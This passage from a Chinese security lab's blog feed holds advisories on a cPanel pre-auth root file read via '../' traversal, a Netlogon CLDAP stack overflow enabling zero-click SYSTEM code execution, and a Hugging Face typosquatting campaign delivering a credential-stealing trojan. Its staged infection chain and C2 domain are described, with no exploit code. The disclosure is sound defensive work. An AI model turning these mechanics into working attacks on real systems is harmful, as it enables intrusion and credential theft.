            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月13日，cPanel 官方发布安全更新，修复了 cpdavd 服务中的一个高危漏洞（CVE-2026-29205，CVSSv3 8.6）。该漏洞源于 cpdavd 附件下载端点存在权限管理错误与路径过滤不足，攻击者可利用构造的特制文件路径参数，在未认证条件下以 root 权限读取服务器任意文件，涵盖系统配置文件、数据库凭证及 SSL 私钥等敏感信息。本分析从漏洞原理、影响范围、复现验证及修复方案四个维度展开讨论。</p>\n<p><strong>关键词</strong>：cPanel；WHM；任意文件读取；路径遍历；CVE-2026-29205</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-漏洞背景\">1. 漏洞背景<a class=\"hash-link\" aria-label=\"1. 漏洞背景的直接链接\" title=\"1. 漏洞背景的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#1-%E6%BC%8F%E6%B4%9E%E8%83%8C%E6%99%AF\">​</a></h2>\n<p>cPanel &amp; WHM 是全球广泛使用的 Linux Web 托管控制面板。WHM 提供服务器级管理能力，cPanel 面向站点用户提供网站、域名、数据库及邮件等运维管理功能，广泛应用于虚拟主机、IDC 机房、云服务商及企业自建托管环境。该平台支持图形化操作与自动化配置，是 Web 托管领域部署最普遍的管理平台之一。</p>\n<p>cpdavd 是 cPanel 中负责 WebDAV 及 CalDAV/CardDAV 功能的后台服务组件，用于处理邮件客户端及日历同步相关的附件存储与检索请求。CVE-2026-29205 即存在于该组件的附件下载端点中。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-漏洞原理\">2. 漏洞原理<a class=\"hash-link\" aria-label=\"2. 漏洞原理的直接链接\" title=\"2. 漏洞原理的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#2-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-缺陷定位\">2.1 缺陷定位<a class=\"hash-link\" aria-label=\"2.1 缺陷定位的直接链接\" title=\"2.1 缺陷定位的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#21-%E7%BC%BA%E9%99%B7%E5%AE%9A%E4%BD%8D\">​</a></h3>\n<p>cpdavd 服务在处理附件下载请求时存在两类安全缺陷：</p>\n<ol>\n<li><strong>权限降级缺失</strong>：服务进程在访问文件系统时未正确执行权限降级操作，导致文件读取操作以 root 权限执行。</li>\n<li><strong>路径验证不足</strong>：对用户提交的文件路径参数缺乏充分的规范化与校验机制，未能有效拦截路径遍历攻击载荷。</li>\n</ol>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-攻击路径\">2.2 攻击路径<a class=\"hash-link\" aria-label=\"2.2 攻击路径的直接链接\" title=\"2.2 攻击路径的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#22-%E6%94%BB%E5%87%BB%E8%B7%AF%E5%BE%84\">​</a></h3>\n<p>攻击者利用该漏洞需满足两个前置条件：</p>\n<ul>\n<li>cpdavd 端口（2079 HTTP / 2080 HTTPS）对外暴露；</li>\n<li>目标主机上存在至少一个有效的 cPanel 虚拟邮箱账户。</li>\n</ul>\n<p>满足条件后，攻击者可构造包含路径遍历序列（如 <code>../</code>）的特制请求，绕过服务的访问控制检查，以 root 权限读取目标文件系统中的任意文件。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-影响分析\">2.3 影响分析<a class=\"hash-link\" aria-label=\"2.3 影响分析的直接链接\" title=\"2.3 影响分析的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#23-%E5%BD%B1%E5%93%8D%E5%88%86%E6%9E%90\">​</a></h3>\n<p>成功利用该漏洞可导致以下敏感信息泄露：</p>\n<ul>\n<li>系统配置文件（如 <code>/etc/passwd</code>、<code>/etc/shadow</code>）</li>\n<li>数据库连接凭证</li>\n<li>SSL/TLS 私钥文件</li>\n<li>cPanel 用户数据及配置存档</li>\n</ul>\n<p>该漏洞利用复杂度较低，且技术细节与 PoC 均已公开，具备较高的在野利用风险。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-影响范围\">3. 影响范围<a class=\"hash-link\" aria-label=\"3. 影响范围的直接链接\" title=\"3. 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#3-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-受影响版本\">3.1 受影响版本<a class=\"hash-link\" aria-label=\"3.1 受影响版本的直接链接\" title=\"3.1 受影响版本的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#31-%E5%8F%97%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC\">​</a></h3>\n<p>以下版本的 cPanel &amp; WHM 受该漏洞影响：</p>\n<ul>\n<li><code>11.124.0.0 ≤ version &lt; 11.124.0.40</code></li>\n<li><code>11.126.0.0 ≤ version &lt; 11.126.0.61</code></li>\n<li><code>11.130.0.0 ≤ version &lt; 11.130.0.25</code></li>\n<li><code>11.132.0.0 ≤ version &lt; 11.132.0.34</code></li>\n<li><code>11.134.0.0 ≤ version &lt; 11.134.0.28</code></li>\n<li><code>11.136.0.0 ≤ version &lt; 11.136.0.12</code></li>\n<li><code>11.120.1.0 ≤ WP Squared &lt; 11.136.1.15</code></li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-暴露面评估\">3.2 暴露面评估<a class=\"hash-link\" aria-label=\"3.2 暴露面评估的直接链接\" title=\"3.2 暴露面评估的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#32-%E6%9A%B4%E9%9C%B2%E9%9D%A2%E8%AF%84%E4%BC%B0\">​</a></h3>\n<p>根据全球资产测绘数据，与该漏洞关联的全球风险资产总数约为 141.8 万，涉及独立 IP 约 21.9 万个。受影响资产主要分布于 Web 托管服务商及 IDC 机房，其中运行较早版本（11.124–11.130 系列）的服务实例面临最高的利用风险。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-复现验证\">4. 复现验证<a class=\"hash-link\" aria-label=\"4. 复现验证的直接链接\" title=\"4. 复现验证的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#4-%E5%A4%8D%E7%8E%B0%E9%AA%8C%E8%AF%81\">​</a></h2>\n<p>ICE Lab 已在受控环境中对 CVE-2026-29205 完成复现验证。通过向 cpdavd 服务发送特制的 HTTP 请求，可在未认证条件下成功读取目标系统上的任意文件（如 <code>/etc/passwd</code>）。复现过程验证了漏洞的可利用性，并确认 PoC 代码的有效性。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-修复方案\">5. 修复方案<a class=\"hash-link\" aria-label=\"5. 修复方案的直接链接\" title=\"5. 修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#5-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>cPanel 官方已在以下版本中修复该漏洞：</p>\n<ul>\n<li><code>cPanel &amp; WHM 11.124.* ≥ 11.124.0.40</code></li>\n<li><code>cPanel &amp; WHM 11.126.* ≥ 11.126.0.61</code></li>\n<li><code>cPanel &amp; WHM 11.130.* ≥ 11.130.0.25</code></li>\n<li><code>cPanel &amp; WHM 11.132.* ≥ 11.132.0.34</code></li>\n<li><code>cPanel &amp; WHM 11.134.* ≥ 11.134.0.28</code></li>\n<li><code>cPanel &amp; WHM 11.136.* ≥ 11.136.0.12</code></li>\n<li><code>WP Squared ≥ 11.136.1.15</code></li>\n</ul>\n<p>建议系统管理员通过 cPanel 后台更新功能或包管理器执行版本升级。对于无法立即升级的环境，应通过防火墙策略限制对 cpdavd 服务端口（2079/2080）的外部访问，作为临时缓解措施。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>CVE-2026-29205 是 cPanel &amp; WHM cpdavd 组件中一处高危任意文件读取漏洞，其根因在于权限管理缺陷与输入验证不足的组合。由于漏洞利用无需认证且影响版本覆盖广泛，全球范围内存在大量暴露面。官方补丁已发布，建议相关用户尽快完成版本更新。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] cPanel. \"Security CVE-2026-29205: cPanel &amp; WHM &amp; WP2 Security Update (May 13, 2026).\" <a href=\"https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026\" target=\"_blank\" rel=\"noopener noreferrer\">https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026</a></p>\n<p>[2] SLCyber. \"New Age of Collisions: Reading Arbitrary Files Pre-Auth as Root in cPanel (CVE-2026-29205).\" <a href=\"https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205/\" target=\"_blank\" rel=\"noopener noreferrer\">https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205/</a></p>",
            "url": "https://www.ce.ac.cn/blog/cpanel-whm-arbitrary-file-read-cve-2026-29205/",
            "title": "cPanel & WHM 任意文件读取漏洞分析（CVE-2026-29205）",
            "summary": "针对 cPanel & WHM cpdavd 服务任意文件读取漏洞（CVE-2026-29205）的技术分析，涉及路径遍历与认证绕过导致的 root 权限文件读取。",
            "date_modified": "2026-05-13T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Disclosure",
                "Research"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月12日，Microsoft 披露了 Windows Netlogon 服务中存在一处已遭在野利用的零点击远程代码执行漏洞（CVE-2026-41089，CVSSv3 9.8）。漏洞位于 Netlogon 处理 CLDAP（Connectionless LDAP）查询的 <code>NlGetLocalPingResponse</code> 函数中，该函数分配的 528 字节栈缓冲区在通过 <code>BuildSamLogonResponse</code> 与 <code>NetpLogonPutUnicodeString</code> 处理攻击者可控的用户名字段时，因字节长度与 WCHAR 长度计算混淆导致缓冲区溢出。攻击者可向目标域控制器的 UDP 389 端口发送特制 CLDAP 请求，无需身份凭证、无需用户交互，即可实现以 SYSTEM 权限执行任意代码的域控完全接管。本分析从漏洞原理、攻击向量、影响范围及修复方案四个维度展开讨论。</p>\n<p><strong>关键词</strong>：Netlogon；CLDAP；栈缓冲区溢出；零点击远控；域控制器；CVE-2026-41089</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>Windows Netlogon 是 Windows Server 域环境的核心身份验证服务，负责域内计算机登录、身份校验、安全通道建立与维护，是 Active Directory 认证体系的基础组件，广泛应用于政企域架构中。该服务默认在域控制器的 UDP 389 端口上监听 CLDAP 请求，无需任何身份验证即可接入。</p>\n<p>CVE-2026-41089 是该服务近年来继 Zerologon（CVE-2020-1472）之后出现的又一起高危漏洞。与 Zerologon 聚焦于密码学初始向量缺陷不同，本文分析的漏洞根源在于 Netlogon 内部响应构造逻辑中的缓冲区长度计算错误——一个经典的字节/WCHAR 混淆问题。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-漏洞原理分析\">2. 漏洞原理分析<a class=\"hash-link\" aria-label=\"2. 漏洞原理分析的直接链接\" title=\"2. 漏洞原理分析的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#2-%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-netlogon-cldap-处理流程\">2.1 Netlogon CLDAP 处理流程<a class=\"hash-link\" aria-label=\"2.1 Netlogon CLDAP 处理流程的直接链接\" title=\"2.1 Netlogon CLDAP 处理流程的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#21-netlogon-cldap-%E5%A4%84%E7%90%86%E6%B5%81%E7%A8%8B\">​</a></h3>\n<p>CLDAP 是轻量目录访问协议的无连接变体，域控制器使用 Netlogon 服务处理来自域成员及外部机器的 CLDAP 查询请求。当域控制器收到 CLDAP ping 请求时，<code>NlGetLocalPingResponse</code> 函数负责构造响应消息。</p>\n<p>该函数在栈上分配一个固定大小的响应缓冲区，随后调用 <code>BuildSamLogonResponse</code> 将域控域名、站点名、用户名等可变长度字段写入该缓冲区。<code>NetpLogonPutUnicodeString</code> 辅助函数负责将 Unicode 字符串以 <code>Length</code> 字段前缀的方式写入缓冲区指定偏移。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-字节wchar-长度计算混淆\">2.2 字节/WCHAR 长度计算混淆<a class=\"hash-link\" aria-label=\"2.2 字节/WCHAR 长度计算混淆的直接链接\" title=\"2.2 字节/WCHAR 长度计算混淆的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#22-%E5%AD%97%E8%8A%82wchar-%E9%95%BF%E5%BA%A6%E8%AE%A1%E7%AE%97%E6%B7%B7%E6%B7%86\">​</a></h3>\n<p>漏洞的核心缺陷发生在 <code>NetpLogonPutUnicodeString</code> 的调用方与实现方之间对长度单位的不一致理解。在 Win32 API 约定中，涉及 Unicode 字符串的长度字段存在两种表达方式：以字节为单位（<code>Length</code>）和以 WCHAR 数量为单位。当调用方以字节长度计算所需缓冲区空间，但实现方以 WCHAR 数量执行内存复制时，会发生以下溢出：</p>\n<ul>\n<li>调用方按字节计数，认为 <code>N</code> 字节的栈缓冲区剩余空间足以容纳 <code>B</code> 字节的用户名字段</li>\n<li>实现方以 WCHAR 数量解释长度字段，实际写入 <code>B</code> 个 WCHAR = <code>B × 2</code> 字节</li>\n<li>攻击者通过 CLDAP 请求中的可控用户名长度精确控制溢出量，覆盖栈上的返回地址或 SEH 链</li>\n</ul>\n<p><code>NlGetLocalPingResponse</code> 分配的 528 字节栈缓冲区正是这一长度混淆的溢出目标代。攻击者构造远超缓冲区剩余空间的 WCHAR 字符串，导致栈溢出，进而以 SYSTEM 权限执行任意代码。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-攻击向量特征\">2.3 攻击向量特征<a class=\"hash-link\" aria-label=\"2.3 攻击向量特征的直接链接\" title=\"2.3 攻击向量特征的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#23-%E6%94%BB%E5%87%BB%E5%90%91%E9%87%8F%E7%89%B9%E5%BE%81\">​</a></h3>\n<p>该漏洞的攻击向量具有以下显著特征：</p>\n<ul>\n<li><strong>零点击</strong>：攻击者仅需发送 UDP 报文至域控制器 389 端口，无需任何用户交互</li>\n<li><strong>无认证</strong>：CLDAP 查询无需身份凭证，攻击者仅需网络可达性</li>\n<li><strong>SYSTEM 权限</strong>：Netlogon 服务以 <code>NT AUTHORITY\\SYSTEM</code> 身份运行，溢出后的代码执行直接获得最高权限</li>\n<li><strong>域控完全接管</strong>：成功利用后攻击者立即获得域控制器控制权，进而可实现凭据窃取与全域横向移动</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-影响范围\">3. 影响范围<a class=\"hash-link\" aria-label=\"3. 影响范围的直接链接\" title=\"3. 影响范围的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#3-%E5%BD%B1%E5%93%8D%E8%8C%83%E5%9B%B4\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-受影响版本\">3.1 受影响版本<a class=\"hash-link\" aria-label=\"3.1 受影响版本的直接链接\" title=\"3.1 受影响版本的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#31-%E5%8F%97%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC\">​</a></h3>\n<p>以下 Windows Server 版本的 Netlogon 受该漏洞影响：</p>\n<table><thead><tr><th>操作系统版本</th><th>修复版本</th></tr></thead><tbody><tr><td>Windows Server 2012</td><td>≥ 6.2.9200.26079</td></tr><tr><td>Windows Server 2012 R2</td><td>≥ 6.3.9600.23181</td></tr><tr><td>Windows Server 2016</td><td>≥ 10.0.14393.9140</td></tr><tr><td>Windows Server 2019</td><td>≥ 10.0.17763.8755</td></tr><tr><td>Windows Server 2022</td><td>≥ 10.0.20348.5074 / 10.0.20348.5139</td></tr><tr><td>Windows Server 2022, 23H2</td><td>≥ 10.0.25398.2330</td></tr><tr><td>Windows Server 2025</td><td>≥ 10.0.26100.32772 / 10.0.26100.32860</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-影响评估\">3.2 影响评估<a class=\"hash-link\" aria-label=\"3.2 影响评估的直接链接\" title=\"3.2 影响评估的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#32-%E5%BD%B1%E5%93%8D%E8%AF%84%E4%BC%B0\">​</a></h3>\n<p>该漏洞影响量级为千万级。鉴于 Netlogon 是域控制器的强制启用服务，且 CLDAP 端口在域环境中默认对外暴露，全球范围内大量未打补丁的域控制器面临直接威胁。CVSSv3 评分 9.8 反映了其对机密性、完整性及可用性的全面影响。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-在野利用\">4. 在野利用<a class=\"hash-link\" aria-label=\"4. 在野利用的直接链接\" title=\"4. 在野利用的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#4-%E5%9C%A8%E9%87%8E%E5%88%A9%E7%94%A8\">​</a></h2>\n<p>本漏洞的特殊性在于其在公开披露前已被发现活跃利用。已观测到的在野利用活动表明，攻击者已将该漏洞武器化为域控制器渗透的初始入口。利用成功后，攻击者可实现域控完全接管，进而通过 DCSync 等域内凭据窃取技术向全域范围横向扩展。</p>\n<p>Zerologon（CVE-2020-1472）的历史经验表明，此类 Netlogon 零点击漏洞的武器化周期通常较短，且一旦利用代码进入攻击框架，大规模扫描与利用将迅速跟进。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-修复方案\">5. 修复方案<a class=\"hash-link\" aria-label=\"5. 修复方案的直接链接\" title=\"5. 修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#5-%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>Microsoft 已在 2026 年 5 月安全更新中发布补丁。建议通过以下路径完成修复：</p>\n<ol>\n<li>启用 Windows Update 自动更新，检测并安装安全累积更新</li>\n<li>对于无法自动更新的环境，从 Microsoft 更新目录手动下载对应版本补丁：<a href=\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089\" target=\"_blank\" rel=\"noopener noreferrer\">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089</a></li>\n<li>重启域控制器以应用更新</li>\n</ol>\n<p><strong>临时缓解措施</strong>：对无法立即安装补丁的环境，可通过防火墙 ACL 限制对域控制器 UDP 389 端口的外部网络访问，阻断来自非受信网络的 CLDAP 流量。但需注意，此措施仅缩小攻击面，不能根除漏洞。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>CVE-2026-41089 是 Netlogon 服务内部响应构造逻辑中一处字节/WCHAR 长度计算混淆导致的栈缓冲区溢出漏洞，其零点击、无认证、SYSTEM 权限远程代码执行的攻击面特征使其成为域环境中最危险类型的漏洞之一。已在野利用的观测进一步提升了其紧急程度。域控制器管理员需立即确认域控版本并应用 2026 年 5 月安全更新。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Microsoft Security Response Center. \"CVE-2026-41089: Windows Netlogon Remote Code Execution Vulnerability.\" <a href=\"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089\" target=\"_blank\" rel=\"noopener noreferrer\">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089</a></p>\n<p>[2] CyberSecurityNews. \"Windows Netlogon 0-Click RCE Exploited in the Wild – Microsoft Confirms.\" <a href=\"https://cybersecuritynews.com/windows-netlogon-0-click-rce/\" target=\"_blank\" rel=\"noopener noreferrer\">https://cybersecuritynews.com/windows-netlogon-0-click-rce/</a></p>",
            "url": "https://www.ce.ac.cn/blog/windows-netlogon-zero-click-rce-cve-2026-41089/",
            "title": "Windows Netlogon 零点击远程代码执行漏洞分析（CVE-2026-41089）",
            "summary": "针对 Windows Netlogon CLDAP 栈缓冲区溢出漏洞（CVE-2026-41089）的技术分析，涉及字节/WCHAR 长度计算混淆导致的零点击 SYSTEM 权限远程代码执行。",
            "date_modified": "2026-05-12T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Disclosure",
                "Research",
                "Privilege Escalation"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-事件概述\">1. 事件概述<a class=\"hash-link\" aria-label=\"1. 事件概述的直接链接\" title=\"1. 事件概述的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#1-%E4%BA%8B%E4%BB%B6%E6%A6%82%E8%BF%B0\">​</a></h2>\n<p>2026 年 5 月 7 日，安全研究机构 HiddenLayer 披露了一起针对 AI 开发社区的供应链投毒攻击。攻击者在 Hugging Face 平台创建恶意仓库 <code>Open-OSS/privacy-filter</code>，通过 <strong>typosquatting</strong>（仿冒命名）技术冒充 OpenAI 官方项目，并利用虚假账户将其推至趋势榜首位。该事件导致约 <strong>244,000 次</strong> 恶意下载，成为开源 AI 平台历史上最严重的大规模恶意软件分发事件之一。</p>\n<p><strong>核心 Payload</strong>：基于 Rust 语言开发的 <strong>Sefirah</strong> 信息窃取木马，具备反分析能力，窃取范围包括浏览器凭据、加密货币钱包、Discord 令牌及系统敏感信息。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-攻击技术分析\">2. 攻击技术分析<a class=\"hash-link\" aria-label=\"2. 攻击技术分析的直接链接\" title=\"2. 攻击技术分析的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#2-%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-初始访问typosquatting-与信任滥用\">2.1 初始访问：Typosquatting 与信任滥用<a class=\"hash-link\" aria-label=\"2.1 初始访问：Typosquatting 与信任滥用的直接链接\" title=\"2.1 初始访问：Typosquatting 与信任滥用的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#21-%E5%88%9D%E5%A7%8B%E8%AE%BF%E9%97%AEtyposquatting-%E4%B8%8E%E4%BF%A1%E4%BB%BB%E6%BB%A5%E7%94%A8\">​</a></h3>\n<ul>\n<li><strong>仿冒策略</strong>：注册与合法项目高度相似的仓库名，复制原始模型卡片内容，伪造可信文档。</li>\n<li><strong>社交工程</strong>：通过自动化脚本生成大量虚假账户进行“star”操作，人为提升排名，利用平台公信力扩大传播。</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-感染链多阶段-payload-投递\">2.2 感染链：多阶段 Payload 投递<a class=\"hash-link\" aria-label=\"2.2 感染链：多阶段 Payload 投递的直接链接\" title=\"2.2 感染链：多阶段 Payload 投递的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#22-%E6%84%9F%E6%9F%93%E9%93%BE%E5%A4%9A%E9%98%B6%E6%AE%B5-payload-%E6%8A%95%E9%80%92\">​</a></h3>\n<table><thead><tr><th>阶段</th><th>文件/动作</th><th>恶意行为描述</th></tr></thead><tbody><tr><td><strong>第一阶段</strong></td><td><code>loader.py</code></td><td>禁用 SSL 验证，远程获取 Base64 编码的 PowerShell 命令</td></tr><tr><td><strong>第二阶段</strong></td><td>PowerShell</td><td>下载并执行批处理文件 <code>start.bat</code>，进行权限提升</td></tr><tr><td><strong>第三阶段</strong></td><td><code>start.bat</code></td><td>添加 Defender 排除列表，下载并执行 <code>Sefirah</code> 木马</td></tr><tr><td><strong>第四阶段</strong></td><td><code>Sefirah</code></td><td>执行数据窃取与外泄</td></tr></tbody></table>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"23-sefirah-窃密木马能力分析\">2.3 Sefirah 窃密木马能力分析<a class=\"hash-link\" aria-label=\"2.3 Sefirah 窃密木马能力分析的直接链接\" title=\"2.3 Sefirah 窃密木马能力分析的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#23-sefirah-%E7%AA%83%E5%AF%86%E6%9C%A8%E9%A9%AC%E8%83%BD%E5%8A%9B%E5%88%86%E6%9E%90\">​</a></h3>\n<ul>\n<li><strong>数据窃取范围</strong>：<!-- -->\n<ul>\n<li><strong>浏览器数据</strong>：Cookie、密码、历史记录、会话令牌</li>\n<li><strong>加密货币</strong>：钱包文件及浏览器扩展数据</li>\n<li><strong>通信工具</strong>：Discord 令牌、本地数据库</li>\n<li><strong>系统凭证</strong>：SSH、FTP、VPN 配置文件（如 FileZilla）</li>\n<li><strong>其他</strong>：敏感文件、系统信息、屏幕截图</li>\n</ul>\n</li>\n<li><strong>反分析机制</strong>：<!-- -->\n<ul>\n<li>检测 VMware、VirtualBox、QEMU 等虚拟化环境</li>\n<li>识别沙箱及调试器行为，仅在真实用户环境执行</li>\n</ul>\n</li>\n</ul>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-基础设施与归因\">3. 基础设施与归因<a class=\"hash-link\" aria-label=\"3. 基础设施与归因的直接链接\" title=\"3. 基础设施与归因的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#3-%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD%E4%B8%8E%E5%BD%92%E5%9B%A0\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-c2-基础设施\">3.1 C2 基础设施<a class=\"hash-link\" aria-label=\"3.1 C2 基础设施的直接链接\" title=\"3.1 C2 基础设施的直接链接\" href=\"https://www.ce.ac.cn/blog/hugging-face-supply-chain-openai-typosquatting/#31-c2-%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD\">​</a></h3>\n<ul>\n<li><strong>域名</strong>：<code>recargapopular[.]com</code></li>\n<li><strong>注册信息</strong>：2026 年 2 月 16 日注册，使用 Cloudflare CDN 隐藏真实 IP</li>\n<li><strong>通信协议</strong>：HTTP 协议进行数据外泄</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-威胁归因\">3.2 威胁归因<a class=\"hash-link\" aria-label=\"3.2 威胁归因的直接链接\" title=\"3.2 威胁归因的直接链接\" 